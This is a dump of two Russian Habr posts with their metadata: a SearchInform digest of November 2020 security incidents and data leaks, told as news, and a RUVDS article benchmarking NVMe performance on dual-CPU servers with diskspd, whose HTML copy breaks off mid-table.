губернаторах штатов. Кто виноват: Утечку допустил сотрудник больницы им. Альберта Эйнштейна, который выложил на GitHub таблицу с именами пользователей, паролями и ключами доступа к системам Минздрава Бразилии. В ней также можно было найти имена, адреса, историю болезни и режимы приема лекарств. Как рассказал мужчина, он выгрузил данные для тестирования, а потом забыл их удалить. После инцидента чиновники поменяли пароли и ключи доступа к системам Минздрава. А что будет с горе-тестером, пока неизвестно. ### У нас #### Нет дыма – есть утечка Что случилось: В общий доступ попал архив на 1 Гб, содержащий 652 внутренних документа производителя систем нагревания табака IQOS. В них содержатся персданные клиентов, шаблоны презентаций и скрипты общения для менеджеров по продажам. Кто виноват: Большая часть файлов имеет одного автора. По мнению, ИБ-исследователей, документы утекли с рабочего компьютера одного из сотрудников IQOS или были украдены с корпоративного файлового сервера. В любом случае – имя владельца документов может послужить ключом к обнаружению источника утечки. #### Тайный покупатель Что случилось: Злоумышленник взломал девять учетных записей интернет-магазина и оформил заказы на товары за счет их владельцев. Дело прогорело из-за бдительной службы безопасности. Кто виноват: Вором оказался житель Екатеринбурга. Логины и пароли от учеток он купил в Интернете. Мужчина изменил регистрационные данные в личных кабинетах и оформил несколько покупок, расплачиваясь чужими электронными деньгами. Благодаря ИБ-службе из девяти попыток сделать заказ «покупателю» удалась только одна. В восьми случаях служба безопасности блокировала заказ – ее насторожило, что «владелец» аккаунта оформляет доставку в другой регион, не связанный с местом регистрации. В итоге Кировский районный суд Екатеринбурга назначил вору штраф в 200 тыс. рублей. #### Родственный жест Что случилось: В Башкирии из микрокредитной компании ООО МКК «КредитЪка» утекли персданные 44 заемщиков. Кто виноват: Утечку обнаружили сотрудники прокуратуры во время плановой проверки организации. Выяснилось, что сотрудница «КредитЪки» отправила анкеты клиентов по email по просьбе родственника. Женщину не смутило, что эти сведения по закону являются коммерческой тайной. Возбуждено уголовное дело.
<div xmlns="http://www.w3.org/1999/xhtml"><figure class="full-width "><img src="https://habrastorage.org/r/w1560/getpro/habr/upload_files/ef1/3da/cfb/ef13dacfb61610496d1d4ab701dabf6c.png" width="1000" height="697" data-src="https://habrastorage.org/getpro/habr/upload_files/ef1/3da/cfb/ef13dacfb61610496d1d4ab701dabf6c.png"/><figcaption></figcaption></figure><p>Привет! Продолжая традицию, собрали «классические» и нетривиальные ИБ-инциденты, о которых писали зарубежные и российские СМИ в ноябре. </p><p>И кстати, всех причастных – с международным днем защиты информации!</p><h3>У них</h3><h4>Аэромайнинг</h4><p><strong>Что случилось: </strong>Сотрудники аэропорта в итальянском городе Ламеция-Терме <a href="https://www.securitylab.ru/news/513642.php">обнаружили</a> аномалии в работе ИТ-систем и обратились в транспортную полицию. В ходе расследования полицейские нашли в технических помещениях ферму для майнинга Ethereum, подключенную к электросети аэропорта.</p><p><strong>Кто виноват:</strong> Майнером оказался 41-летний техник компании-подрядчика Sacal, которая управляет аэропортами в провинции Калабрия. Мужчина отвечал за работу компьютерной инфраструктуры воздушного хаба. Он установил вредоносное ПО и использовал ИТ-мощности Sacal для майнинга криптовалюты. Выйти на след злоумышленника помогли камеры видеонаблюдения. О наказании СМИ не пишут, но предполагаем, что как минимум работы в Sacal мужчина лишился.</p><h4>Купонщик-миллионер</h4><p><strong>Что случилось:</strong> Из онлайн-магазина Microsoft пропали подарочные сертификаты на 10 млн долларов.</p><p><strong>Кто виноват:</strong> Вором <a href="https://www.geekwire.com/2020/ex-microsoft-engineer-gets-9-years-prison-using-digital-currency-scheme-buy-1-6m-lakefront-home-160k-tesla/">оказался</a> инженер компании Владимир Квашук (гражданин Украины), причем его «темные дела» оставались незамеченными на протяжении семи месяцев. Чтобы скрыть следы, он подключался к платформе через учетные записи коллег и использовал «сервисы для смешивания биткоинов» (позволяют «смешать» цифровую валюту из разных источников в одном большом хранилище и тем самым обеспечить конфиденциальность ее владельцам). На вырученные деньги инженер купил дом на берегу озера и автомобиль Tesla. Еще 2,8 млн долларов он перевел на свои банковские счета. А чтобы не попасться налоговой, указал в декларации, что биткоины ему подарил родственник.</p><p>Махинацию все же раскрыли, хотя расследование, по признанию правоохранителей, было непростым и потребовало от полиции специальных знаний по кибербезопасности. В итоге Квашука уволили, суд приговорил его к девяти годам тюрьмы за 18 преступлений. Он должен выплатить компании 8,3 млн долларов. А после тюремного заключения его могут депортировать в Украину.</p><h4>«Культурный» обмен</h4><p><strong>Что случилось:</strong> Офис шерифа округа Санта-Клара в Калифорнии <a href="https://www.securitylab.ru/news/514322.php">уличили</a> в торговле разрешениями на ношение оружия. Фигурантом дела стал руководитель службы безопасности Apple.</p><p><strong>Кто виноват:</strong> Окружная прокуратура Санта-Клары обвинила во взяточничестве руководителя службы безопасности Apple Томаса Мойера и двух помощников шерифа. По мнению следствия, топ-менеджер компании договорился с офисом шерифа «обменять» четыре лицензии на скрытое ношение оружия на 200 новых планшетов Apple iPad стоимостью 70 тыс. долларов.</p><p>Адвокат Мойера заявил, что подзащитный собирался передать планшеты офису шерифа в рамках совместного проекта по подготовке кадров. И этот факт не связан с обращением Мойера за разрешением на ношение оружия. Разбирательство только начинается, но очевидно, что 14-летний стаж работы в Apple вряд ли убережет сотрудника от увольнения. А случай красноречиво доказывает, что контроль топ-менеджеров – насущная ИБ-проблема, а не излишняя подозрительность.</p><h4>«Мне только спросить!»</h4><p><strong>Что случилось:</strong> Журналист из Нидерландов Даниэль Верлаан <a href="https://www.dw.com/en/dutch-reporter-hacks-eu-defense-ministers-meeting/a-55682752">подключился</a> к закрытому Zoom-совещанию министров обороны стран ЕС, чем заметно смутил чиновников.</p><p><strong>Кто виноват:</strong> О встрече Верлаан узнал из Twitter, где министр обороны Нидерландов Анка Бийлевельда опубликовала серию фотографий, на которых она работает из дома во время конференции. На фото попал экран ее ноутбука с PIN-кодом для доступа к вызову. Это позволило журналисту подключиться к беседе. После короткого диалога с шокированными министрами он отключился со словами: «Прошу прощения, что прерываю вашу конференцию, я ухожу».</p><p>Пока непонятно, ждет ли Верлаана наказание за взлом закрытой встречи. Премьер-министр Нидерландов Марк Рютте публично высказался об инциденте, указав на грубую ошибку Бийлевельды и службы безопасности, которая должна пресекать подобные случаи.</p><p>Онлайн-совещания вошли в практику не только политиков, но и сотрудников на удаленке еще со времен первой волны коронавируса. Казалось бы, секретному совещанию такого формата не место в Zoom, который неоднократно обвиняли в наличии уязвимостей. Но, как видим, воз и ныне там и возле него щедро рассыпаны грабли.</p><h4>Провальный тест</h4><p><strong>Что случилось:</strong> В открытом доступе <a href="https://www.vesti.ru/hitech/article/2491455">оказались</a> персданные 16 млн бразильцев, заболевших COVID-19, в том числе информация о президенте страны Жаире Болсонару, семи министрах и 17 губернаторах штатов.</p><p><strong>Кто виноват:</strong> Утечку допустил сотрудник больницы им. Альберта Эйнштейна, который выложил на GitHub таблицу с именами пользователей, паролями и ключами доступа к системам Минздрава Бразилии. В ней также можно было найти имена, адреса, историю болезни и режимы приема лекарств. Как рассказал мужчина, он выгрузил данные для тестирования, а потом забыл их удалить. После инцидента чиновники поменяли пароли и ключи доступа к системам Минздрава. А что будет с горе-тестером, пока неизвестно.</p><h3>У нас</h3><h4>Нет дыма – есть утечка</h4><p><strong>Что случилось: </strong>В общий доступ <a href="https://t.me/in4security/439">попал</a> архив на 1 Гб, содержащий 652 внутренних документа производителя систем нагревания табака IQOS. В них содержатся персданные клиентов, шаблоны презентаций и скрипты общения для менеджеров по продажам.</p><p><strong>Кто виноват:</strong> Большая часть файлов имеет одного автора. По мнению, ИБ-исследователей, документы утекли с рабочего компьютера одного из сотрудников IQOS или были украдены с корпоративного файлового сервера. В любом случае – имя владельца документов может послужить ключом к обнаружению источника утечки.</p><h4>Тайный покупатель</h4><p><strong>Что случилось: </strong>Злоумышленник <a href="https://www.ural.kp.ru/online/news/4076243/">взломал</a> девять учетных записей интернет-магазина и оформил заказы на товары за счет их владельцев. Дело прогорело из-за бдительной службы безопасности.</p><p><strong>Кто виноват:</strong> Вором оказался житель Екатеринбурга. Логины и пароли от учеток он купил в Интернете. Мужчина изменил регистрационные данные в личных кабинетах и оформил несколько покупок, расплачиваясь чужими электронными деньгами. Благодаря ИБ-службе из девяти попыток сделать заказ «покупателю» удалась только одна. В восьми случаях служба безопасности блокировала заказ – ее насторожило, что «владелец» аккаунта оформляет доставку в другой регион, не связанный с местом регистрации.</p><p>В итоге Кировский районный суд Екатеринбурга назначил вору штраф в 200 тыс. рублей.</p><h4>Родственный жест</h4><p><strong>Что случилось: </strong>В Башкирии из микрокредитной компании ООО МКК «КредитЪка» <a href="https://ufa.rbc.ru/ufa/25/11/2020/5fbe2cc69a79470edc7b4437">утекли</a> персданные 44 заемщиков.</p><p><strong>Кто виноват:</strong> Утечку обнаружили сотрудники прокуратуры во время плановой проверки организации. Выяснилось, что сотрудница «КредитЪки» отправила анкеты клиентов по email по просьбе родственника. Женщину не смутило, что эти сведения по закону являются коммерческой тайной. Возбуждено уголовное дело.</p></div>
SearchInform_team
null
null
<p>Привет! Продолжая традицию, собрали «классические» и нетривиальные ИБ-инциденты, о которых писали зарубежные и российские СМИ в ноябре. </p><p>И кстати, всех причастных – с международным днем защиты информации!</p>
Привет! Продолжая традицию, собрали «классические» и нетривиальные ИБ-инциденты, о которых писали зарубежные и российские СМИ в ноябре. И кстати, всех причастных – с международным днем защиты информации!
article
1,606,727,368
{ "commentsCount": 1, "favoritesCount": 7, "readingCount": 2737, "score": 8, "votesCount": 8, "votesCountPlus": 8, "votesCountMinus": 0 }
[]
[ "searchinform", "infosecurity" ]
[ "develop" ]
[ "утечки информации", "информационная безопасность", "дайджест новостей ИБ", "сёрчинформ", "дайджест сёрчинформ", "день защиты информации" ]
4
null
null
{ "id": [ 22368540 ], "parent_id": [ null ], "level": [ 0 ], "time_published": [ 1606743637 ], "score": [ 0 ], "votes": [ 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>подарочные сертификаты на 10 млн долларов<br/>\r\nон подключался к платформе через учетные записи коллег</blockquote><p>Так эти коллеги его и слили?<br/>\r\nИ каким образом он \"украл\" сертификаты? Он имел доступ к базе с кодами активации из сертификатов?</p></div>" ], "message_markdown": [ "> подарочные сертификаты на 10 млн долларов\n> он подключался к платформе через учетные записи коллег\nТак эти коллеги его и слили?\nИ каким образом он \"украл\" сертификаты? Он имел доступ к базе с кодами активации из сертификатов?" ], "author": [ "Jsty" ], "children": [ [] ] }
598,357
ru
https://habr.com/ru/post/598357/
Все врут-2: чем закончился детектив про медленные NVMe и невозможность делать RAID
Напомню: когда мы решили ввести тарифы на VDS на машинах с NVMe-дисками, то очень удивились тому, что они несильно лучше SSD. Второй неожиданностью была практическая невозможность собрать из таких дисков рейд-массив, то есть при вылете диска нужно будет не ребилдить массив прозрачно для пользователя, а выкатывать бекап. Прозвучала мысль, что мы кривые ламеры и не умеем всё правильно готовить. Альтернативой была гипотеза «все врут». Прошло полгода. Мы научились всё это готовить, но заодно поняли, что гипотеза «все врут» куда более вероятная. Тут видно, что RAM подключена к CPU1, а NVME-диски — к CPU2. Это будет критически важно дальше по сюжету. В общем, сейчас расскажу, чего именно нам стоило ввести нормальные NVMe-тарифы и почему при всём этом очень важно разбираться в архитектуре сервера. ## В чём была проблема У нас не было NVMe-тарифа для наших клиентов VDS. Мы хотели сделать такой тариф, потому что рыночные запросы на это дело были. Чтобы сделать такой тариф, нужно выбрать конфигурацию сервера с NVMe-дисками внутри, протестировать её и внедрить по всем локациям. Мы используем только гомогенное корпоративное железо, то есть во всех наших ЦОДах по миру должны быть одни и те же конфигурации серверов. Так проще обслуживать, писать софт, обеспечивать единые цены и ремонтировать всё это. То есть введение нового сервера требует довольно больших тестов. Мы купили несколько разных железок (самосбор, не корпоративных линеек, потому что корпоративные поставки сейчас очень долгие, чуть ли не с лагом в полгода в лучшем случае). И начали тестировать. История тестирования — в первом посте. Краткие итоги: — Сюрприз, но на NVMe нельзя собрать рейд. Точнее, можно, но он будет медленнее отдельных дисков, и никто так не делает. То есть смысла в рейде не то что нет, а он ещё и отрицательно сказывается на производительности. При этом все хостеры с NVMe пишут, что у них там рейды. — Сюрприз, но NVMe-диски работают на считаные проценты лучше SSD-дисков. А мы ведь ждали совсем даже не этого. ## Что было дальше Первый сервер, до которого мы добрались в Москве летом, был Супермикро + набор дисков к нему. Тесты показали, что результаты не могут сравниться с тем, что вроде бы дают другие хостеры. То есть мы где-то что-то серьёзно недопонимали. Дальше я рассказал эту историю на Хабре, и Yoh, creker, vesper-bot, Savrik, trashwind, VanyaKokorev и borovinskiy высказали дельные мысли в комментариях. Спасибо, вы нам очень помогли в поисках дальше. Поиски дальше заключались в том, что мы несколько месяцев искали узкое место. Сначала пробовали разные варианты софтверного рейда включая VROC. Не помогло. Потом попробовали хардверный рейд. Как и ожидалось, ограничения шины всё равно не давали его использовать. Отвезли свой сервер в компанию, которая занимается нестандартной сборкой и делает очень кастомные решения. Они могут чуть ли не Делл из Супермикро собрать. В общем, у них лаборатория. Поставили разные софт-рейды и хард-рейды, стали менять кабели соединения, интерфейсы. Ничего особо не меняло ситуацию. Решили, что дело — в Hyper-V и его особенностях реализации, долго его ковыряли. Что больше всего удивляло, мы общались и с поддержкой других хостингов, и с поставщиками железа, и с лабораториями, и никто не мог нормально объяснить, что происходит и почему NVMe такие медленные и тупые. И тут внезапно прозвучала мысль про UPI-линии. И мы решили попробовать делить виртуальные машины по NUMA-нодам (нума-нода — это связка процессора, оперативки и диска в рамках одного сервера). И тут у меня есть что вам показать! ## Тесты Тестировали платформу Supermicro X11DDW-NT: CPU Intel Xeon Gold 6250 RAM DDR4-2933 32GB SSD Intel P4610 1.6TB NVMe Разводка линий данной платформы. Видно, что каждый CPU обслуживает по два NVMe-диска. Каждый из дисков подключён с помощью PCI-E X4. CPU соединены между собой двумя UPI-линиями. Теоретическая скорость линий: четыре линии PCI-E x4 — 16000 MB/s; две линии UPI — 20.8 GT/s. Видно, что суммарная пропускная способность PCI-E-линий для четырёх дисков сравнима по величине с пропускной способностью двух линий UPI. Более того, транзакции UPI-линий используются для доступа к RAM и синхронизации работы CPU. Поэтому транзакций, которые используются непосредственно для передачи данных, остаётся меньше. Чтобы полностью исключить шину UPI из обработки и передачи данных, мы поступим самым простым и надёжным способом: отключим CPU2, а также все модули RAM и диски NVME, к нему относящиеся: На фотографии видно, что слоты CPU2 и относящихся к нему RAM- и NVME-дисков не заняты. Дальше для тестирования используем diskspd. Тесты проводим под Windows Server 2016 и Windows Server 2019. Тест чтения: DiskSpd64.exe -b4K -t32 -o32 -w0 -d10 -r -S -c100G F:/testfile.dat G:/testfile.dat Тест записи: DiskSpd64.exe -b4K -t32 -o32 -w100 -d10 -r -S -c100G F:/testfile.dat G:/testfile.dat Результаты: Write (percent) Win2016 — IOPS Win2019 — IOPS 0 (read) 1132231.01 1026432.57 (- 9 %) 100 (write) 863745.10 953902.69 (+ 10 %) Под Win2019 чтение медленнее на 9 %, но зато на 10 % быстрее запись, чем под Win2016. Во всех тестах нагрузка CPU была 95–98 %. Отсюда возникает вопрос, как изменится скорость, если поставить второй CPU. Поставим второй CPU и проведём соответствующий тест. Windows Server 2016: Write (percent) один CPU — IOPS два CPU — IOPS 0 (read) 1132231.01 590263.08 ( — 48 %) 100 (write) 863745.10 594401.43 ( — 32 %) Windows Server 2019: Write (percent) один CPU — IOPS два CPU — IOPS 0 (read) 1026432.57 818586.28 ( — 21%) 100 (write) 953902.69 842953.92 ( — 12 %) Видно, что синхронизация работы CPU через UPI-линию существенно снизила результаты. Падение производительности с двумя CPU под Win2019 существенно меньше, чем под Win2016. ### ▍ Вторая часть марлезонского балета: А теперь установим оба CPU. Но вся RAM будет на CPU1, а NVME — на CPU2. RAM подключена к CPU1, а NVME-диски — к CPU2. Тесты на количество IOPS такие же, как в предыдущем разделе. Тесты на пропускную способность: Чтение: DiskSpd64.exe -b128K -t32 -o32 -w0 -d10 -si -S -c100G F:/testfile.dat G:/testfile.dat Запись: DiskSpd64.exe -b128K -t32 -o32 -w100 -d10 -si -S -c100G F:/testfile.dat G:/testfile.dat Количество IOPS: Write (Percent) Win2016 — IOPS — 4K Win2019 — IOPS — 4K block 0 (read) 530662.74 599021.15 (+ 13 %) 100 (write) 597662.21 783532.95 (+ 30 %) Пропускная способность MiB/s: Write (Percent) Win2016 — MiB/s — 128K block Win2019 — MiB/s — 128K block 0 (read) 5688.68 5035.62 ( — 11 %) 100 (write) 3843.31 3615.85 ( — 6 %) Видно, что под Win2019 — несколько большее количество IOPS, но меньшая пропускная способность. ### ▍ Итоги: Сравним количество IOPS при обмене без UPI и через UPI. Windows Server 2016: Write (Percent) Без UPI — IOPS Через UPI — IOPS 0 (read) 1132231.01 530662.74 ( — 53 %) 100 (write) 863745.10 597662.21 ( — 31 %) Windows Server 2019: Write (Percent) Без UPI — IOPS Через UPI — IOPS 0 (read) 1026432.57 599021.15 ( — 41 %) 100 (write) 953902.69 783532.95 ( — 18 %) Та-дам! Результаты наглядно демонстрируют, что пропускная способность UPI-линий может стать узким местом при использовании NVME. ## Что всё это значит? Что все врут. Как только мы начали распределять виртуалки по NUMA-нодам, внезапно всё заработало с нужной скоростью. Причём, кстати, под 2016-й винсервер иногда лучше, чем под 2019-й, так что если вы сейчас решаете, жить на уходящей с поддержки версии или сразу мигрировать на модное и современное, то это ещё один довод в обсуждение. Скорее всего, дело просто в том, что MS сдвинули баланс r/w где-то на уровне драйверов или рядом. Так вот, по умолчанию виртуалки распределяются по NUMA-нодам в хаотичном порядке. Это значит, что UPI-линии используются для связи железа между нодами, в частности, с теми самыми NVMe-дисками. И могут стать узким местом. Те хостеры, которые используют NVMe и не дописали свой софт так, чтобы создавать виртуалки в рамках одной NUMA-ноды, а не вперехлёст по железу, скорее всего, остановились на однопроцессорных серверах. На них всё «из коробки» будет работать с прогнозируемой скоростью. Там нет UPI вообще. Относительно RAID-массивов — решения всё ещё нет. Удивительно, но рабочего рейда пока найти не удалось, хотя NVMe — всё же не вчерашняя технология. Те, кто пишет про RAID, либо банально врут, либо замедляют скорость чуть ли не ниже SSD, что исключает полезность NVMe-дисков. Мы решили делать полный технический бекап диска раз в сутки, и если что — автоматически восстанавливать из него при вылете NVMe-диска. Увы, но автоматических ребилдов, как на SSD, когда пользователь VDS этого даже не замечает, пока не будет (и в ближайшем будущем — тоже). Нам добавится работы при восстановлении при аварии. Точнее, нашим скриптам. С новым распределением по NUMA-нодам результаты производительности NVMe у нас полностью в рынке. Тарифы — на бою, цены — хорошие. Посмотреть можно тут. Мы очень постарались, чтобы вы платили за реальную производительность, а не наклейку «NVMe» на тарифе. Корпоративное железо приехало и выглядит вот так: В этих серверах Lenovo SR650 V2 не две, а три UPI-линии. Возможно, наши танцы с бубном будут не нужны, так как мы надеемся, что дополнительная UPI-линия может убрать необходимость разделять виртуалки по NUMA-нодам. Итого: если вы можете настраивать использование NUMA-нод в сервере с NVMe — лучше настроить. Если бы мы использовали KVM, то это всё завелось бы куда легче, дело отчасти — в реализации виртуализации (распределении ресурсов машин). Hyper-V изначально не имел возможности распределения виртуальных машин по NUMA-нодам, но в конечном счёте они выпустили специальную утилиту CpuGroups.exe. При её использовании можно получить измеримый эффект ускорения при использовании NVME-дисков.
<div xmlns="http://www.w3.org/1999/xhtml">Напомню: когда мы решили ввести тарифы на VDS на машинах с NVMe-дисками, то <a href="https://habr.com/ru/company/ruvds/blog/560404/">очень удивились</a> тому, что они несильно лучше SSD. Второй неожиданностью была практическая невозможность собрать из таких дисков рейд-массив, то есть при вылете диска нужно будет не ребилдить массив прозрачно для пользователя, а выкатывать бекап. <br/> <br/> Прозвучала мысль, что мы кривые ламеры и не умеем всё правильно готовить. Альтернативой была гипотеза «все врут». <br/> <br/> Прошло полгода. Мы научились всё это готовить, но заодно поняли, что гипотеза «все врут» куда более вероятная. <br/> <br/> <a href="https://habr.com/ru/company/ruvds/blog/598357/"><img src="https://habrastorage.org/r/w780q1/webt/ag/si/ay/agsiayv9nd8fne9ek_krj29_brm.jpeg" data-src="https://habrastorage.org/webt/ag/si/ay/agsiayv9nd8fne9ek_krj29_brm.jpeg" data-blurred="true"/></a><br/> <i><font color="#999999">Тут видно, что RAM подключена к CPU1, а NVME-диски — к CPU2. Это будет критически важно дальше по сюжету.</font></i><br/> <br/> В общем, сейчас расскажу, чего именно нам стоило ввести нормальные NVMe-тарифы и почему при всём этом очень важно разбираться в архитектуре сервера. <br/> <a name="habracut"></a><br/> <h2><font color="#3AC1EF">В чём была проблема</font></h2><br/> У нас не было NVMe-тарифа для наших клиентов VDS. Мы хотели сделать такой тариф, потому что рыночные запросы на это дело были. Чтобы сделать такой тариф, нужно выбрать конфигурацию сервера с NVMe-дисками внутри, протестировать её и внедрить по всем локациям. Мы используем только гомогенное корпоративное железо, то есть во всех наших ЦОДах по миру должны быть одни и те же конфигурации серверов. Так проще обслуживать, писать софт, обеспечивать единые цены и ремонтировать всё это. То есть введение нового сервера требует довольно больших тестов. <br/> <br/> Мы купили несколько разных железок (самосбор, не корпоративных линеек, потому что корпоративные поставки сейчас очень долгие, чуть ли не с лагом в полгода в лучшем случае). И начали тестировать. История тестирования — в первом посте. <br/> <br/> Краткие итоги:<br/> <br/> — Сюрприз, но на NVMe нельзя собрать рейд. Точнее, можно, но он будет медленнее отдельных дисков, и никто так не делает. То есть смысла в рейде не то что нет, а он ещё и отрицательно сказывается на производительности. При этом все хостеры с NVMe пишут, что у них там рейды. <br/> <br/> — Сюрприз, но NVMe-диски работают на считаные проценты лучше SSD-дисков. А мы ведь ждали совсем даже не этого. <br/> <br/> <h2><font color="#3AC1EF">Что было дальше</font></h2><br/> Первый сервер, до которого мы добрались в Москве летом, был Супермикро + набор дисков к нему. Тесты показали, что результаты не могут сравниться с тем, что вроде бы дают другие хостеры. То есть мы где-то что-то серьёзно недопонимали. Дальше <a href="https://habr.com/ru/company/ruvds/blog/560404/">я рассказал эту историю</a> на Хабре, и <a href="https://habr.com/ru/users/yoh/" class="user_link">Yoh</a>, <a href="https://habr.com/ru/users/creker/" class="user_link">creker</a>, <a href="https://habr.com/ru/users/vesper-bot/" class="user_link">vesper-bot</a>, <a href="https://habr.com/ru/users/savrik/" class="user_link">Savrik</a>, <a href="https://habr.com/ru/users/trashwind/" class="user_link">trashwind</a>, <a href="https://habr.com/ru/users/vanyakokorev/" class="user_link">VanyaKokorev</a> и <a href="https://habr.com/ru/users/borovinskiy/" class="user_link">borovinskiy</a> высказали дельные мысли в комментариях. Спасибо, вы нам очень помогли в поисках дальше. <br/> <br/> Поиски дальше заключались в том, что мы несколько месяцев искали узкое место. <br/> <br/> Сначала пробовали разные варианты софтверного рейда включая VROC. Не помогло. Потом попробовали хардверный рейд. Как и ожидалось, ограничения шины всё равно не давали его использовать. Отвезли свой сервер в компанию, которая занимается нестандартной сборкой и делает очень кастомные решения. Они могут чуть ли не Делл из Супермикро собрать. В общем, у них лаборатория. Поставили разные софт-рейды и хард-рейды, стали менять кабели соединения, интерфейсы. Ничего особо не меняло ситуацию. Решили, что дело — в Hyper-V и его особенностях реализации, долго его ковыряли. <br/> <br/> Что больше всего удивляло, мы общались и с поддержкой других хостингов, и с поставщиками железа, и с лабораториями, и никто не мог нормально объяснить, что происходит и почему NVMe такие медленные и тупые. <br/> <br/> И тут внезапно прозвучала мысль про UPI-линии. И мы решили попробовать делить виртуальные машины по NUMA-нодам (нума-нода — это связка процессора, оперативки и диска в рамках одного сервера). <br/> <br/> И тут у меня есть что вам показать!<br/> <br/> <h2><font color="#3AC1EF">Тесты</font></h2><br/> Тестировали платформу <a href="https://www.supermicro.com/en/products/motherboard/X11DDW-NT">Supermicro X11DDW-NT</a>:<br/> <div class="scrollable-table"><table> <tbody> <tr> <td> <br/> <p>CPU</p><br/> </td> <td> <br/> <p>Intel Xeon Gold 6250</p><br/> </td> </tr> <tr> <td> <br/> <p>RAM</p><br/> </td> <td> <br/> <p>DDR4-2933 32GB</p><br/> </td> </tr> <tr> <td> <br/> <p>SSD</p><br/> </td> <td> <br/> <p> Intel P4610 1.6TB NVMe</p><br/> </td> </tr> </tbody> </table></div><br/> <img src="https://habrastorage.org/r/w780q1/webt/g3/bx/fj/g3bxfjjishgh2xivpdry2uyi-g4.jpeg" data-src="https://habrastorage.org/webt/g3/bx/fj/g3bxfjjishgh2xivpdry2uyi-g4.jpeg" data-blurred="true"/><br/> <br/> Разводка линий данной платформы. Видно, что каждый CPU обслуживает по два NVMe-диска. Каждый из дисков подключён с помощью <b>PCI-E X4</b>. CPU соединены между собой двумя <b>UPI-линиями</b>.<br/> <br/> Теоретическая скорость линий:<br/> <br/> <ul> <li>четыре линии PCI-E x4 — 16000 MB/s;</li> <li>две линии UPI — 20.8 GT/s.</li> </ul><br/> Видно, что суммарная пропускная способность PCI-E-линий для четырёх дисков сравнима по величине с пропускной способностью двух линий UPI. Более того, транзакции UPI-линий используются для доступа к RAM и синхронизации работы CPU. Поэтому транзакций, которые используются непосредственно для передачи данных, остаётся меньше.<br/> <br/> Чтобы полностью исключить шину UPI из обработки и передачи данных, мы поступим самым простым и надёжным способом: отключим <b>CPU2</b>, а также все модули RAM и диски NVME, к нему относящиеся:<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/sj/lf/28/sjlf28ti2sirr1brgqdfmll41fi.jpeg" data-src="https://habrastorage.org/webt/sj/lf/28/sjlf28ti2sirr1brgqdfmll41fi.jpeg" data-blurred="true"/><br/> <br/> На фотографии видно, что слоты CPU2 и относящихся к нему RAM- и NVME-дисков не заняты. Дальше для тестирования используем <b>diskspd</b>. Тесты проводим под <b>Windows Server 2016</b> и <b>Windows Server 2019</b>.<br/> <br/> Тест чтения: <i>DiskSpd64.exe -b4K -t32 -o32 -w0 -d10 -r -S -c100G F:/testfile.dat G:/testfile.dat</i><br/> <br/> Тест записи: DiskSpd64.exe -b4K -t32 -o32 -w100 -d10 -r -S -c100G F:/testfile.dat G:/testfile.dat<br/> <br/> Результаты:<br/> <div class="scrollable-table"><table> <tbody> <tr> <td> <br/> <p>Write (percent)</p><br/> </td> <td> <br/> <p>Win2016 — IOPS</p><br/> </td> <td> <br/> <p>Win2019 — IOPS</p><br/> </td> </tr> <tr> <td> <br/> <p>0 (read)</p><br/> </td> <td> <br/> <p>1132231.01</p><br/> </td> <td> <br/> <p>1026432.57 (- 9 %)</p><br/> </td> </tr> <tr> <td> <br/> <p>100 (write)</p><br/> </td> <td> <br/> <p> 863745.10</p><br/> </td> <td> <br/> <p>953902.69 (+ 10 %)</p><br/> </td> </tr> </tbody> </table></div>Под <b>Win2019</b> чтение <b>медленнее на 9 %</b>, но зато <b>на 10 % быстрее</b> запись, чем под <b>Win2016</b>.<br/> <br/> Во всех тестах нагрузка CPU была <b>95–98 %</b>. Отсюда возникает вопрос, как изменится скорость, если поставить второй CPU. Поставим второй CPU и проведём соответствующий тест.<br/> <br/> <b><font color="#3AC1EF">Windows Server 2016:</font></b><br/> <p> </p><div class="scrollable-table"><table> <tbody> <tr> <td> <br/> <p>Write (percent)</p><br/> </td> <td> <br/> <p>один CPU — IOPS </p><br/> </td> <td> <br/> <p>два CPU — IOPS</p><br/> </td> </tr> <tr> <td> <br/> <p>0 (read)</p><br/> </td> <td> <br/> <p>1132231.01</p><br/> </td> <td> <br/> <p>590263.08 ( — 48 %)</p><br/> </td> </tr> <tr> <td> <br/> <p>100 (write)</p><br/> </td> <td> <br/> <p>863745.10</p><br/> </td> <td> <br/> <p>594401.43 ( — 32 %)</p><br/> </td> </tr> </tbody> </table></div><b><font color="#3AC1EF">Windows Server 2019:</font></b><br/> <p> </p><div class="scrollable-table"><table> <tbody> <tr> <td> <br/> <p>Write (percent)</p><br/> </td> <td> <br/> <p>один CPU — IOPS </p><br/> </td> <td> <br/> <p>два CPU — IOPS</p><br/> </td> </tr> <tr> <td> <br/> <p>0 (read)</p><br/> </td> <td> <br/> <p>1026432.57</p><br/> </td> <td> <br/> <p> 818586.28 ( — 21%)</p><br/> </td> </tr> <tr> <td> <br/> <p>100 (write)</p><br/> </td> <td> <br/> <p>953902.69</p><br/> </td> <td> <br/> <p>842953.92 ( — 12 %)</p><br/> </td> </tr> </tbody> </table></div>Видно, что синхронизация работы CPU через <b>UPI</b>-линию существенно снизила результаты. Падение производительности с двумя CPU под <b>Win2019</b> существенно меньше, чем под <b>Win2016</b>. <br/> <br/> <h3><font color="#3AC1EF">▍ Вторая часть марлезонского балета:</font></h3><br/> А теперь установим оба CPU. Но вся RAM будет на CPU1, а NVME — на CPU2.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/webt/ag/si/ay/agsiayv9nd8fne9ek_krj29_brm.jpeg" data-src="https://habrastorage.org/webt/ag/si/ay/agsiayv9nd8fne9ek_krj29_brm.jpeg" data-blurred="true"/><br/> <i><font color="#999999">RAM подключена к CPU1, а NVME-диски — к CPU2.</font></i><br/> <br/> Тесты на количество IOPS такие же, как в предыдущем разделе. <br/> <br/> Тесты на пропускную способность:<br/> <br/> Чтение: <i>DiskSpd64.exe -b128K -t32 -o32 -w0 -d10 -si -S -c100G F:/testfile.dat G:/testfile.dat</i><br/> <br/> Запись: <i>DiskSpd64.exe -b128K -t32 -o32 -w100 -d10 -si -S -c100G F:/testfile.dat G:/testfile.dat</i><br/> <br/> <b><font color="#3AC1EF">Количество IOPS:</font></b><br/> <p> </p><div class="scrollable-table"><table> <tbody> <tr> <td> <br/> <p>Write (Percent)</p><br/> </td> <td> <br/> <p>Win2016 — IOPS — 4K</p><br/> </td> <td> <br/> <p>Win2019 — IOPS — 4K block</p><br/> </td> </tr> <tr> <td> <br/> <p>0 (read)</p><br/> </td> <td> <br/> <p>530662.74</p><br/> </td> <td> <br/> <p>599021.15 (+ 13 %)</p><br/> </td> </tr> <tr> <td> <br/> <p>100 (write)</p><br/> 